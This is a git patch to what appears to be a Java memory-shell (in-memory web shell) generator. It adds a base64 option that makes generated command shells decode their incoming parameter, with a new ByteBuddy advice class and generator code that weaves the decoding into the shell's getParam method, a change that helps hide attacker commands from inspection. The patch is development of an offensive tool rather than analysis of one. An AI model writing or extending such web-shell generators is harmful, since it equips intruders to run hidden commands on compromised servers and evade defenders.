From 6d7431d35366487402e28e693bc1fd4dd8ea73a2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 26 Apr 2026 13:16:14 +0800 Subject: [PATCH] feat: support command base64 encryptor --- .../javaweb/memshell/config/CommandConfig.java | 5 ++++- .../command/Base64ParamInterceptor.java | 16 ++++++++++++++++ .../generator/command/CommandGenerator.java | 11 +++++++++++ 3 files changed, 31 insertions(+), 1 deletion(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 33a49539..eb59d9bc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig { } public enum Encryptor { - RAW, DOUBLE_BASE64; + RAW, BASE64, DOUBLE_BASE64; public static Encryptor fromString(String encryptor) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { return DOUBLE_BASE64; } + if (encryptor != null && encryptor.equals("BASE64")) { + return BASE64; + } return RAW; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java new file mode 100644 index 00000000..fe4d9a63 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; + +/** + * @author ReaJason + * @since 2025/4/27 + */ +public class Base64ParamInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception { + returnValue = ShellCommonUtil.base64DecodeToString(param); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 34f5ec03..d34a9fc2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator { .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } + if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) { + builder = builder + .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", + shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName())) + .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) + .withParameters(String.class) + .throwing(Exception.class) + .intercept(FixedValue.nullValue()) + .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) + .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam"))); + } if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { builder = builder.visit(Advice.withCustomMapping() .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())